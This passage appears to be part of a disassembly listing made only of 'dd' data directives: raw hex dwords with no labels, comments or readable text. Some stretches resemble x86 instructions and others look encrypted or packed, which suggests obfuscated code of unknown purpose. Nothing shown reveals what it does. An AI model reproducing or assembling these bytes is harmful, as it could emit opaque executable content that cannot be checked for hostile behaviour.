		dd 4C06BB50h, 1A7BC889h, 3A0Eh,	0C2253D00h, 80722029h
		dd 959DE626h, 0DC3932ADh, 75AF2094h, 6165AA55h,	0D5EA4FDh
		dd 7191F019h, 0FB408092h, 22A4BBCh, 71A67938h, 10C85h
		dd 122FD800h, 286AF832h, 3BF7562Fh, 0B45A077Bh,	0C08207F0h
		dd 6DAAA35Ch, 0A421DE23h, 0BEAC4928h, 6E179B54h, 0BA19AB77h
		dd 5B304176h, 3E2FA81Dh, 834FF785h, 29C67FC0h, 8693E207h
		dd 17C877BEh, 0BB02E64Fh, 0A2E8602h, 851C417Fh,	0DB5EEF39h
		dd 70C18197h, 0B6F35849h, 61FA2541h, 128097DBh,	97DB61A5h
		dd 2BEEB0B8h, 1900469h,	0A1105035h, 77E8FF36h, 0B1F05546h
		dd 19F33F46h, 7B9DE64Dh, 157933C2h, 5D248F55h, 1AA3470Bh
		dd 175F733Dh, 35B931AEh, 867D048Ah, 119D8C1Fh, 9BCE1B37h
		dd 0B29786CAh, 886D81F4h, 0DDF07FCAh, 0DE8AB096h, 9B71563h
		dd 195D0000h, 0E8A94CA0h, 0C082679Bh, 9DE4B97Dh, 7533D62Ah
		dd 0CE07EC00h, 6B8FFAB8h, 8C60CB96h, 0DB5FACE9h, 0F3377EC6h
		dd 0CF387677h, 0D291EBBDh, 7D3BEE39h, 0FB6E18Dh, 561897DBh
		dd 78DD85EBh, 0D951CE39h, 0A2E72455h, 5F6E4C55h, 0DDD23BA6h
		dd 5A3B6A60h, 688CF5BDh, 29C22523h, 26807220h, 0AD959DE6h
		dd 19074432h, 727B91F0h, 0FA65CE95h, 6DCE9174h,	0C693D14h
		dd 71A6793Ah, 0A787h, 3171D600h, 0FF440DC0h, 54B7CE40h
		dd 8D0A7B3Bh, 3CBB0E54h, 0DB342472h, 0BB0A4A97h, 0C2E2A247h
		dd 108F3382h, 2C5DCED1h, 0E6278446h, 25D9819Dh,	81EEB794h
		dd 9A205F0h, 0D3859200h, 0DA3F9BCEh, 0B3742799h, 17482616h
		dd 82B61263h, 8DF8BE9Bh, 76CE9469h, 302C5994h, 8A25A9AEh
		dd 8AB12221h, 0D2592712h, 70000008h, 4C21C534h,	0A578BC03h
		dd 0FF9296DBh, 0D6AB4FB8h, 22C12590h, 0A0155329h, 85E6A94Ch
		dd 70C78C61h, 2899D9BCh, 1D9158D4h, 91EBBCD2h, 3BDDCCCFh
		dd 11F4087Dh, 0DE096551h, 0C397DB0Fh, 0C417EB9Fh, 8D0A7B3Bh
		dd 0CF6E780h, 0A0216E04h, 343C97DBh, 55F2768Dh,	0BE074F4Ch
		dd 0B526B97Ah, 0F1B69384h, 0C951D9Ah, 0E637ECA6h, 0A651199Dh
		dd 2CC03171h, 0A8E90949h, 0B5A6D75Bh, 0C8A41350h, 91F0489Fh
		dd 7FC88F82h, 0CBB7AACBh, 0E6746DFAh, 75E2551Ch, 0E09FE2ACh
		dd 1F4A5837h, 94809271h, 0EC8165CCh, 0D4A25DA4h, 2746B76h
		dd 87F5A178h, 0DE4776BFh, 0ACAC81E4h, 76445D86h, 584FDE47h
		dd 79C8D231h, 0EA95DCA4h, 38781D64h, 0E0204EC9h, 8F0274BCh
		dd 0C502C2D0h, 0A86D347Dh, 0AB9099E8h, 3DF998EDh, 0BE074F8Ch
		dd 23E88901h, 0A2651263h, 5CB9A03Bh, 2C6BAE11h,	0CBAA5CDBh
		dd 1EE6941Ah, 7FE3F7B6h, 0E6515D4Eh, 0FBFBA069h, 0D3ACE77h
		dd 32D389CEh, 0F9EC9763h, 0D13B7766h, 0B3F19D91h, 0A5A3EC82h
		dd 8ABEFD8Bh, 2AD59DEBh, 8BA50E5Ch, 9C7972FDh, 38176ED1h
		dd 0E589BA6Ah, 0FD8BA5BAh, 56A5E2A7h, 0DE276FA2h, 0ACC8A921h
		dd 0D5CC08DAh, 42F27h, 0CC135400h, 4574E7FEh, 0E65A9729h
		dd 92D7CA9Dh, 8034BA25h, 0CAF64C30h, 0B72EAD20h, 738C3524h
		dd 0D36159CEh, 0AE86F1BDh, 0D79B4D3Fh, 5CA7EE23h, 95562FA3h
		dd 95E2A764h, 0D11D64EAh, 47029CCBh, 0AA535A0Eh, 0E46FE4D9h
		dd 47B0FEABh, 5A4B14DFh, 5C136216h, 606902E5h, 2993A432h
		dd 4871F941h, 1CB0F257h, 257CE057h, 2DC13070h, 0EB90848h
		dd 658F18AFh, 6C7B5A0h,	2C000007h, 781D1168h, 5134C837h
		dd 0AB4EA20Fh, 82679BECh, 0D6BD71C4h, 0FC490F7Dh, 0D11A6538h
		dd 8CFBB85Dh, 64CD9568h, 0C9A58480h, 91EBBA9Eh,	3B998883h
		dd 0E8C1077Bh, 3E659B79h, 8AD40D8Ah, 0FA85C327h, 4A000000h
		dd 2A2CBD25h, 0CC2380FFh, 5ECBBDC6h, 80B16B7Bh,	0DB07A512h
		dd 0F84D0B97h, 0BDA5CB7Fh, 7C44E4h, 25FB0000h, 0CC357DBDh
		dd 377ADF53h, 53C74BF4h, 0F06442Ah, 5F0397DBh, 0CE377FA0h
		dd 0A60F572Ah, 0A31252B7h, 6CE3B234h, 0B0B932B5h, 0E63D18E2h
		dd 185DBA9Dh, 0A3E334A3h, 0B92DA552h, 5FD880D8h, 0D14EBDFAh
		dd 40FF4A08h, 43060CE3h, 0BDDC944h, 633289CEh, 0A6656FD9h
		dd 204A71h, 90E10000h, 10Ah, 19462C5Dh,	0EB97DB0Fh, 7FC1CDF9h
		dd 0FC640A59h, 5D76A1CDh, 0E76B97DBh, 0FEEF4F9Eh, 0DB0F47B0h
		dd 8F165A97h, 6F9E1194h, 1A85E8AAh, 8D317AC5h, 71BFF3F4h
		dd 6C9DE636h, 33744BE4h, 0F86790D5h, 5F88Ch, 0E35A1E00h
		dd 0DA296A0Fh, 0BC014326h, 95DEA578h, 43B6FC91h, 790FC4AFh
		dd 572ACE3Bh, 0AA4FA30Ch, 879A9EEDh, 0B6B276BFh, 0B98CFBB7h
		dd 0FE9191EBh, 2CBD25AFh, 529A032Ah, 0EE3D06ABh, 92BA871Eh
		dd 214A58B7h, 6B7C2157h, 54A2h,	195EBB00h, 0D94DB2F3h
		dd 4AB7F95Eh, 256CBFC6h, 0FF2A2CBDh, 0F79F7C4Dh, 7B629CEEh
		dd 33796Bh, 0CB740000h,	0AECB6337h, 5986EC0Fh, 4497DB52h
		dd 0BA09681Ch, 2A2CBD25h, 2A1B78FFh, 0A552A7EDh, 0A97D542Dh
		dd 0DB37DE0Ah, 0BA832197h, 76B7B66h, 0FFFFFE98h, 7DBD2534h
		dd 0DD55C237h, 7BFA3729h, 27D01D67h, 0D542B1F2h, 0D6F5A170h
		dd 9EE7AF0Ch, 6B7B62ACh, 1E309h, 7D3B2600h, 0B4A8F08h
		dd 1280B1B8h, 97DB0FA5h, 6EE1B0B8h, 460ECBE2h, 0B7CE40FFh
		dd 88CECAD8h, 971B0C3Dh, 97DB0F28h, 86740D35h, 0A750A5E3h
		dd 0F7E6796Ch, 79E65512h, 733FA0F1h, 9DE63449h,	0A10A554Ch
		dd 930CB036h, 0DDDBCB46h, 2BCE2297h, 139F186Dh,	91F00DB8h
		dd 0CDCBDBB6h, 1BFE3287h, 7E6FE85Dh, 0EF68D999h, 7C631A7Bh
		dd 0CC9FAE3h, 5FA3F245h, 9BCD5851h, 0D9E0044Ch,	269DCAA8h
		dd 0D88097DBh, 40DBC2B9h, 7B275559h, 3E229DE6h,	0C86F181h
		dd 0B99091F0h, 70EEF1EDh, 4DFA6652h, 535ACE0Bh,	327D3122h
		dd 2F91F067h, 66145A3Bh, 639BCD3Ah, 1E663BFFh, 0AFF728D7h
		dd 0CED1A246h, 0C462C5Dh, 0F99DE64Bh, 32176220h, 12940372h
		dd 4A81F16Eh, 3691F04Ch, 228DD035h, 0CD967C53h,	71A6A17Bh
		dd 3446h, 0C225F500h, 80722029h, 0F29DE626h, 1962ADC1h
		dd 0CB7F91F0h, 6DEA5EAAh, 0F019CE1Dh, 4F57B291h, 8BF6B89Dh
		dd 0FC479A0Ch, 0F05AE2B3h, 0CD71A678h, 0B3h, 0A7B3B62h
		dd 0BB0E548Dh, 2A9BDB3Ch, 579EE623h, 3D1A134Eh,	0A0750C75h
		dd 2C9D91E0h, 0A05FA8EFh, 9DEB572Eh, 2797DB34h,	0A453A2E2h
		dd 0FE465322h, 1D8073B7h, 96179B82h, 539DE5C8h,	98DFF5BEh
		dd 8A3EB02Fh, 0F5E61706h, 0F6B74EB9h, 76EF5391h, 0D4D24AFEh
		dd 2BE0B1E2h, 1E4186Dh,	8C79F643h, 8F90D7FDh, 3AFA4D0h
		dd 11550000h, 0E0A144B8h, 0B8FA9F93h, 95DCB175h, 6D2BCE22h
		dd 0D60FE418h, 6387F2B0h, 8478C38Eh, 0D357A4E1h, 0EB0F763Eh
		dd 0F7204E7Fh, 0EA91EBB7h, 7D3BE631h, 5111F408h, 8440F9E0h
		dd 7C8C08DBh
		dd 18F83400h, 8A3E3C61h, 0EFDC0FEBh, 9A05682Ah,	0C8888D14h
		dd 5919FE79h, 0AB5F6B9h, 0CF1C1084h, 30A7B3Bh, 0B9D9C79Ah
		dd 49D26BEh, 65CC944Dh,	96D33881h, 6130B621h, 0A9E933AAh
		dd 60A5D458h, 2C3D21Dh,	0E69C366Ch, 941AC39Dh, 91F09B2Bh
		dd 0BCEB8736h, 0A191F09Bh, 168135B9h, 0F09B2368h, 69CD9591h
		dd 0F7D3F89h, 99068A51h, 9B60140h, 51741EF9h, 0A2CBDB36h
		dd 71A6B8D8h, 3F25h, 0C2255A00h, 5187BB24h, 7FE38A28h
		dd 472204Eh, 0F3679DE6h, 3BD13A44h, 1C6791F0h, 0B2F324D3h
		dd 6B24D24Dh, 24E3ECBBh, 9723157Eh, 0F1FE71A6h,	0CF000000h
		dd 2FF7490Ah, 397BA318h, 0B4176E12h, 8D0A7B3Bh,	0B2BB0E54h
		dd 0FA2ED81h, 8BBF97DBh, 0E2A277EAh, 7EE7E493h,	0DEC97607h
		dd 0E68CBD34h, 97DB30B9h, 30E5BCA4h, 63800C70h,	7E4C9114h
		dd 0ACFA36CAh, 0C297DB5Bh, 78913E82h, 0EA102307h, 0A7EF8266h
		dd 7F66A15Eh, 0D3B1FDECh, 269DE6D0h, 0A205FE32h, 1D920009h
		dd 0E09BCE6Fh, 0EE1F6C29h, 0DD105780h, 92064A97h, 92E9AE6Bh
		dd 2753CE5h, 8691D95h, 1F61A6D7h, 0D4AD25D2h, 0B3981C7h
		dd 624A831Eh, 90E1B7C0h, 0A1F71DE1h, 488C11CAh,	0D94DF155h
		dd 0B7024025h, 0B092D738h, 0EF9DD88Ah, 20Dh, 1A1E6F2Bh
		dd 3DF13E07h, 57AB1658h, 6C80F3B2h, 0BA7ECB89h,	501674E9h
		dd 216C01E5h, 2475ADEh,	0D49C71B5h, 0AC9D896Dh,	0EBB599C6h
		dd 988B8491h, 186B2AEFh, 8D8AEB9Fh, 0DBBE72C7h,	85D62A9Bh
		dd 0C6ACC225h, 97DB0F99h, 2128DC84h, 295D9730h,	0D178FA35h
		dd 15B062C0h, 0BDA59DE6h, 2A177402h, 0DEA191F0h, 753DE29Dh
		dd 3B88C90Ch, 1E04E3BCh, 0D5C15C4Bh, 0A687BE88h, 4C03BC71h
		dd 33AACE09h, 0D4660293h, 77000000h, 0AC61D492h, 6DE592E5h
		dd 7B3BB114h, 0BF171B07h, 31A51122h, 6383C308h,	0AF23DC21h
		dd 1C5BBC3Bh, 0E35E27ABh, 920D783Eh, 0DB6E9AE4h, 45ACF497h
		dd 3D84CCA1h, 0C35C4382h, 1AFED4DAh, 470B9DE6h,	52CDD0A3h
		dd 2D813A2Bh, 0A15A1149h, 3DC48031h, 5A60B548h,	0CF11F73Bh
		dd 35EC9BCEh, 6C9D016Ah, 989CE9AFh, 0FD4ABF85h,	8AB0EB24h
		dd 125C2817h, 30000001h, 0CE10574h, 6538FC43h, 0BF52D61Bh
		dd 966B8FF8h, 0E28165D0h, 0E0551369h, 0C526690Ch, 0B0074C21h
		dd 68D9997Ch, 0DDD19894h, 91EBB492h, 0EF9D8C8Fh, 0F47B0FEh
		dd 165A97DBh, 94037433h, 0D0968312h, 7388165h, 635C9D9Eh
		dd 0CCB844CDh, 97DB2983h, 0F32BAA9Eh, 77C96740h, 6020F58Ch
		dd 0EFCE1D11h, 0C2570E76h, 257C70CFh, 56C13070h, 43AEF055h
		dd 0A7EE5FD4h, 0F6F61994h, 7EC78F42h, 632849C1h, 0A55ED223h
		dd 8FA0A942h, 0DBB2B4E3h, 0E85B1A97h, 1123D286h, 0D950E918h
		dd 35796A0Bh, 9DE87A1Ch, 0A176E169h, 0F99C90E1h, 0A3CF48B9h
		dd 9420FB1h, 35D7BF5Ch,	0F0216E04h, 0B13CE97Dh,	7DF0B2FDh
		dd 37BBAFE9h, 98E9A96Eh, 7D5BE891h, 0BD380EF1h,	337316E4h
		dd 1622DBC2h, 705EFAFFh, 76ABA6FFh, 8E5BC42Fh, 79A6CCFDh
		dd 64E97DF4h, 0D8CAA5FCh, 0C92D94DCh, 14056C34h, 0F4408FE3h
		dd 155DE97Dh, 0AA7D58Ch, 64000000h, 3C07C409h, 0B3C244F3h
		dd 0E7F3B50h, 0B9084891h, 2F9CD93Eh, 0DB246FB0h, 48BDFB5Ch
		dd 0F94C0ACFh, 69DA997Eh, 1A6729EEh, 0B4FB449Dh, 4668B30Bh
		dd 8900007Dh, 8952240Ch, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 2434895Ch, 3CBD68h, 241C8900h, 5425C6BEh, 0D1D6F742h
		dd 7BB850E6h, 317D6705h, 8B5458C6h, 0C483241Ch,	4815604h
		dd 8907FD24h, 8438F70h,	7FDB850h, 43297089h, 1C8B5808h
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch
		dd 4C4815Eh, 0E9000000h, 0FFFB9347h, 0CE3EC430h, 0B835F8F9h
		dd 630BC42h, 0E0FFC503h, 151A1471h, 1BB68569h, 2C71C511h
		dd 1630935Fh, 7C2A1FE9h, 313985D1h, 20AA9E92h, 5537FE51h
		dd 47CA37BBh, 75D0B73Dh, 5DB9A272h, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 863357C3h
		dd 99945C1Fh, 0D37A7EBBh, 0F9BD8340h, 62B01h, 0BD830975h
		dd 62B1689h, 50197400h,	0B8C08B53h, 3FCh, 1B818589h, 9D8D062Bh
		dd 62DBF75h, 585BD3FFh,	1689BD83h, 7400062Bh, 0B8535017h
		dd 3FCh, 1B818589h, 9D8D062Bh, 62DBC64h, 585BD3FFh, 6AF08Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0F950ADC3h, 6AC08B5Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 20CBC356h, 72F38013h
		dd 6FEB8166h, 1BD832Ah,	1062B0Ah, 80840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 805BD0C3h, 14E823E3h, 0E4000000h, 9705A73h, 56195DC5h
		dd 0C361B420h, 0CFFDEDA0h, 663C0489h, 5B4AA4BBh, 1F29BD83h
		dd 0F00062Bh, 3585h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 2D0C3D25h, 0A55A167h
		dd 0F8DFBF0Fh, 328DBD83h, 0F00062Bh, 5F84h, 0C2E9F500h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 11DCC350h, 0D8E0F34h, 0E9000000h
		dd 8, 91199EFCh, 83C90C99h, 0
		dd 6AF88Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0BAD4D2C3h, 64D6ADB7h, 7F837F04h,	0CFCACCF4h
		dd 0C09DD9E4h, 0C0932331h, 51B4CA98h, 572BC705h, 496D32A8h
		dd 43E32184h, 0F51847D2h, 0A69BE49Eh, 282E93D8h, 0C09DCA34h
		dd 570FAD90h, 0C31AC5C6h, 0CF9DCA26h, 3FC712ACh, 929DA059h
		dd 0C09DC92Ch, 3C7EA62h, 0E4C9436Bh, 0E4D94B9Ch, 0C09DDE48h
		dd 3CF8826h, 0C45023DCh, 4792CA89h, 0C09DCADEh,	0C0894E6Dh
		dd 0CE75CA31h, 1D9DCA98h, 0F30C199Ah, 0AF7B4C3Eh, 0AE6D2D4Ch
		dd 28C891F9h, 0C09DCAC4h, 0E4704B3Fh, 299BFA8Eh, 0C09DCA90h
		dd 0A07CFB08h, 48511556h, 28CBCA79h, 0C09DCA8Ah, 9E5E94E4h
		dd 0C4B9BEEBh, 0C4B98EB0h, 0C09DCA8Eh, 395E9C0Ah, 0D4740EB2h
		dd 939DCA13h, 0CC94F342h, 5F80C01Dh, 56CC0D98h,	8C6EB26h
		dd 4B38E21Ah, 909DA08Ch, 0C09DC9CEh, 3C5EA13h, 0E4D943D1h
		dd 0E4D94BC0h, 0C09DDD66h, 3CD8A31h, 0A575922Ch, 904C412Ah
		dd 0E39A49Ch, 0E499436Ch, 0C192293Ah, 2863EE88h, 0C09DCA68h
		dd 0F3A389A7h, 0B2359DA7h, 7792DC02h, 0CFC590FEh, 0CC9814ACh
		dd 0AA9DCA8Bh, 0C3759DC4h, 0E09DCA62h, 49C2096Eh, 4199EEE4h
		dd 0D499EE08h, 879DCA26h, 76790944h, 969541E1h,	0A6C7154Fh
		dd 296182E9h, 0C09DCA3Bh, 30D9DE5Bh, 0B1AF90A9h, 0C975EBC9h
		dd 589DCA13h, 8ADEC8DAh, 2A51AB03h, 0C09C7239h,	21DCA31h
		dd 4BFB9AF0h, 0E491439Bh, 54DE279Ch, 1911AC71h,	28CFCAE3h
		dd 0C09DCAC7h, 9A5E9042h, 0C4B99EB8h, 0C4B98E19h, 0C09DCA58h
		dd 965E9864h, 0C09D411Ch, 16BCA89h, 0F918C5C0h,	0AA9DCA63h
		dd 0C3759F31h, 0E09DCA98h, 49C00911h, 4199EE4Ah, 0DD99EE57h
		dd 859DCA89h, 19480991h, 0FE06B283h, 0F975D6EAh, 979DA0C1h
		dd 0C09DC9A4h, 3C2EA26h, 0E4E1434Ch, 0E4D94B8Dh, 0C09DD3C0h
		dd 3CA8D62h, 5C4197B7h,	4392D0D2h, 0C09DCA49h, 92764B40h
		dd 0A8A44A2Fh, 0C1C04F86h, 0C0F7CAC4h, 0C09E2233h, 99BDCA31h
		dd 8C14935Bh, 841CCE68h, 0C084CE02h, 91DCCA13h,	0C465F84Ah
		dd 0A0ADC4B9h, 4B6F4104h, 0A0CFABF6h, 321CAC64h, 9BFC4FDBh
		dd 4B454140h, 28CBCB6Ah, 0C09DCA8Eh, 0C246BE7Eh, 29D8E519h
		dd 0C09DCA25h, 0F7AFD2E7h, 90B46C1Dh, 0E05E2BF4h, 568CE4C8h
		dd 1BF5DD5Eh, 3F1C919Eh, 409DCA62h, 0C06C483Eh,	221CCA98h
		dd 0A1A4D1CFh, 7EE94FE1h, 0C09CCC23h, 0C0F7CA89h, 0C09E2291h
		dd 9DBDCA62h, 0AC1497F2h, 841CCEBCh, 0C089CE68h, 95D8CA26h
		dd 6749CD0h, 979DCA89h,	9A4441A2h, 0C09D7C8Bh, 979DA031h
		dd 0C09DC970h, 3C2EA4Ch, 0E4E14379h, 0E4D94B17h, 0C09DDF8Dh
		dd 3CA8DC4h, 0D17495A8h, 9DCA31h, 0E7F7F4D0h, 7889FD53h
		dd 3E911209h, 2F39EE1Fh, 86F70EFh, 0C097229Dh, 6CD1CA62h
		dd 7C8A8141h, 506C0113h, 3370712Ah, 0B91EAC7Dh,	44923518h
		dd 0C09DCAD6h, 28CFCAAEh, 0C09DCA61h, 9A5E9011h, 0C4B99E11h
		dd 0C4B98ECDh, 0C09DCA3Eh, 115E9851h, 9335444Eh, 7EE94F03h
		dd 0C09CCC52h, 0C0F7CA31h, 0C09E22C9h, 99BDCA4Ch, 8C1493E5h
		dd 841CCE37h, 0C08ACEADh, 91DCCAC4h, 661377A1h,	1D5E4B29h
		dd 29969D5Bh, 0C09DCA47h, 0E0233BF7h, 146F835Fh, 887E6737h
		dd 7C46137Fh, 7E6C7353h, 4510AE45h, 0C6AD0E82h,	2BC77C1h
		dd 38A6CC16h, 0CFADCD67h, 2BDA0358h, 939DA031h,	0C09DC98Ah
		dd 3C6EA31h, 0E4C143C3h, 0E4D94B48h, 0C09DD222h, 3CE8913h
		dd 0B2C13761h, 0C08E237Eh, 1B5CA62h, 0E0258575h, 1D05F41Eh
		dd 0A2FC8F13h, 9235FD35h, 0AADF7868h, 0C3759D89h, 0E09DCAC4h
		dd 49C2093Dh, 4199EE4Dh, 0DD99EEDCh, 879DCA4Ch,	54B00971h
		dd 84FCBFBh, 2F7211Ah, 0CA9C7747h, 0CF9CCC49h, 0C09D8EB5h
		dd 919DA098h, 0C09DC9A4h, 3C4EA26h, 0E4D1434Ah,	0E4D94B8Dh
		dd 0C09DD2C0h, 3CC8B62h, 8D65AB0Ah, 0E9204910h,	0C09BE153h
		dd 0C08A4F29h, 5027CA13h, 43B9EC3Dh, 0EBAF4779h, 4492CA64h
		dd 0C09DCA7Fh, 4B6C1018h, 0C0682393h, 0C0F7CA26h, 0C09E2244h
		dd 9FBDCA89h, 0BC149507h, 841CCE46h, 0C085CE15h, 97DACA98h
		dd 0C77BE48Fh, 0CB75A390h, 0F29DCA13h, 0BC00F48Ch, 1D5731A5h
		dd 41FBD0EBh, 9BCFC1DBh, 0C0954C97h, 41CDCA4Ch,	74061EEDh
		dd 7D1E9112h, 0C6B6C088h, 5118C5C5h, 0AA9DCA62h, 0C3759D31h
		dd 0E09DCA98h, 49C20913h, 4199EE5Ah, 0DA99EE57h, 879DCA89h
		dd 203D0993h, 0B5475BAAh, 903570D0h, 0AAC0D7FFh, 0C3759C4Ch
		dd 0E09DCA26h, 49C3094Dh, 4199EEFDh, 0DA99EE80h, 869DCA62h
		dd 0AE470967h, 1CB450A2h, 2A1CACE4h, 0A65EEF1Ch, 18352892h
		dd 1B1C99DEh, 0AC2B3185h, 80749138h, 0AA9DCA31h, 0C3759A98h
		dd 0E09DCA4Ch, 49C5097Eh, 4199EE57h, 0D999EECDh, 809DCAC4h
		dd 81FE0932h, 1DAB8AEDh, 0C09B4D97h, 0A6CECA4Ch, 9A5F6A9Ch
		dd 0CFF5794Eh, 0C09DCE08h, 1A1699C4h, 52260538h, 4DD0294Fh
		dd 0F0235625h, 2710474Ah, 789BFAE5h, 0BBA7960Eh, 0F5E44FBAh
		dd 0FB6CCEFh, 457E6C73h, 824510AEh, 0C1C6AD0Eh,	1602BC77h
		dd 6738A6CCh, 58CFADCDh, 832BDA03h, 0A4F305E9h,	0BE74BD83h
		dd 74000630h, 0A18D8D0Dh, 0B8062B4Eh, 1, 0E940E1FFh, 10h
		dd 1C50935Fh, 9477204Fh, 4C7DE24Ah, 345CBF14h, 0FE9h, 9443B400h
		dd 0CDAFDC96h, 37595516h, 0E63A629Eh, 0E82DE883h, 13h
		dd 0D3150BEDh, 544B8F5Eh, 0CD591BC7h, 0ABB1AF10h, 66923D1Bh
		dd 5B6678BAh, 8E8C08Bh,	97000000h, 3F7C3335h, 0FBCC6E6h
		dd 68Dh, 880F00h, 5A000000h, 1F9BD83h, 7500062Bh, 89BD8309h
		dd 62B16h, 53501974h, 0FCB8C08Bh, 89000003h, 2B347985h
		dd 0DC9D8D06h, 0FF062DBFh, 83585BD3h, 2B1689BDh, 17740006h
		dd 0FCB85350h, 89000003h, 2B347985h, 7D9D8D06h,	0FF062DBCh
		dd 6A585BD3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 5762C357h, 13EB8166h, 6A5A08h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0F0F6DC3h, 28Dh, 8BFC8A00h, 0DB8D8DC0h, 6A0630C5h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 5168C353h, 0C1C92AD1h, 0DF81C31Bh, 4EC82E63h, 89F1B70Fh
		dd 2B0EE18Dh, 3DB58906h, 0C7062B16h, 2B21E185h,	61EC06h
		dd 85C7F800h, 62B2BE5h,	0
		dd 7E54BB66h, 0ECDB5FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0C3A563C3h, 8B09A3C4h
		dd 2B219995h, 299D8B06h, 0FF062B17h, 2B273195h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 59C912CEh, 85010FF3h, 62B218Dh, 28B0Fh, 6AB30000h, 95FF006Ah
		dd 62B2945h, 5AEBC08Bh,	19556F4h, 566A37F5h, 867CCC73h
		dd 5C765952h, 0FE446A5Dh, 0D83F8EF4h, 0A946FABCh, 326AFBC1h
		dd 29D4A3E1h, 0F208A586h, 36DA089Dh, 0B63C7537h, 0D9CD1800h
		dd 4A52D129h, 855D9970h, 28B97940h, 0B4CFA02h, 0DB2F31EAh
		dd 0F3F39DBFh, 0EE8C7609h, 0AC2F6C0Ah, 1E21D045h, 35E9A016h
		dd 4E000000h, 71CB4Eh, 57000000h, 434AC51Ch, 0F9366148h
		dd 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h,	9D8993h
		dd 921DF4C7h, 0DE196063h, 2 dup(0)
		dd 0B36E9h, 0C78A6800h,	35E90630h, 68FFFAB9h, 630C8A0h
		dd 0FAB92BE9h, 0C9C868FFh, 21E90630h, 68FFFAB9h, 630CA8Dh
		dd 0FAB917E9h, 0CB7468FFh, 0DE90630h, 68FFFAB9h, 630CC80h
		dd 0FAB903E9h, 0CD6A68FFh, 0F9E90630h, 68FFFAB8h, 630CF4Bh
		dd 0FAB8EFE9h, 0D03468FFh, 0E5E90630h, 52FFFAB8h, 0A4C33F09h
		dd 0F4138FB1h, 45A25E60h, 91EE2A02h, 0CE3BF7C9h, 0F6C88E0Bh
		dd 4781DD3Ah, 112B2C4Bh, 0DCFA7A95h, 0C7D57A20h, 92DB0625h
		dd 6F04DC58h, 7785D21Fh, 8ADC1A15h, 1AA93628h, 0BE0C47Fh
		dd 7E9ABCB4h, 0D6F0708Fh, 164E4DDAh, 4647DB30h,	5FCC393Bh
		dd 65953535h, 614A62E5h, 0CA21BDD9h, 9BC42999h,	0C9CA910Ch
		dd 24D931BBh, 0BEDA446Dh, 0B4DCCD6Dh, 731303FFh, 34C30C12h
		dd 75938628h, 0A667FB67h, 5274ECABh, 96CAC956h,	2E2679B0h
		dd 42B2A308h, 0EB96A22Dh, 0A7958B7h, 53B89CD7h,	0FA7480CFh
		dd 8F7998F7h, 35CD7793h, 0D6568D14h, 98E4205h, 520B0000h
		dd 65DBA76h, 0B7ADCAC6h, 7BFA1591h, 1046A15Dh, 0D087F22Eh
		dd 0ED291347h, 2FEC892h, 4C487CE5h, 9B173133h, 6C1E2AC1h
		dd 0E192DB07h, 0C7814F63h, 451B76E1h, 0B996A803h, 9F6E9FA1h
		dd 0B873C5B0h, 7582A83Fh, 0CDEB6DB4h, 6C500782h, 0F848C1BDh
		dd 0B9406CFBh, 0D48AC660h, 0DD6B614Ah, 976D3E7Ch, 26C9A6Eh
		dd 0BA776C9Ah, 2Ch, 0D21F6F24h,	6C520685h, 638692BDh, 0E28AC6EAh
		dd 9321AF7Ch, 0D96D3F29h, 390B534Eh, 0A45D4CD2h, 0C2B8B2E0h
		dd 0C06C776Bh, 6E000000h, 0AE1C781h, 2ACB847h, 7794EBC0h
		dd 7BDF22EBh, 5D176A41h, 0B4D907Bh, 5EE7F12Dh, 0AD94EBDCh
		dd 0F6118DABh, 0C273587Eh, 190AAE72h, 239F3A40h, 3D4C5887h
		dd 3C7539BFh, 0C4C5FB61h, 4CFD3921h, 182234FCh,	0C413AFB3h
		dd 5EAD93C9h, 3A46C9C0h, 730D3E23h, 27C9D77Ah, 5A674D40h
		dd 603FA8C4h, 0C9BC4FEh, 4D404EE0h, 0EE1F0367h,	0B983D730h
		dd 59CA790Bh, 72D50650h, 878h, 8C083C21h, 0DCD8EC73h, 6FAB9DC3h
		dd 0BB775110h, 0C4C0FA5Ch, 55DC6B9h, 0B2A8C7C3h, 66FB1490h
		dd 0F49A662h, 2FED29h, 0DB087AF4h, 31090F92h, 54D6E271h
		dd 2994EBC0h, 0B1A9F831h, 7CF4138Fh, 6F3A5E5Ah,	7785D21Fh
		dd 8AC6EA72h, 93BE0D0Dh, 8C5F61F4h, 0B11A2A31h,	0B6C20DA9h
		dd 6D3F2A34h, 0B8D8D149h, 6D3F2A2Ah, 0C1EDD160h, 776BC3A5h
		dd 0CEF06423h, 58025DFDh, 0F8EABF6Eh, 0F4000000h, 7150271h
		dd 8378DB5Fh, 0EE49E5DFh, 0E47A5177h, 8F9ADA25h, 0EBB0CF61h
		dd 9C8294h, 0B19A4ABh, 94EBB061h, 7C830A14h, 2BC5D3DAh
		dd 0D294EBB0h, 0B51B2261h, 0FD9D5E78h, 0BF468A61h, 4A94EBD4h
		dd 7FF11F0Ah, 1294EBC4h, 0B154230Ch, 90A78912h,	0E55FB874h
		dd 2665E8C3h, 63BE0D33h, 59E1CAFEh, 0EB5BCC3Dh,	3E4B5986h
		dd 3D8AC6BBh, 83E882AEh, 0FD9D6D3Eh, 35F1690Ch,	0D3F56F2Ah
		dd 0B6A766F8h, 92BE2946h, 730C47F8h, 0B58BCE0Dh, 23ACC856h
		dd 6262F994h, 380254ABh, 85BFA3FCh, 58C3B77Fh
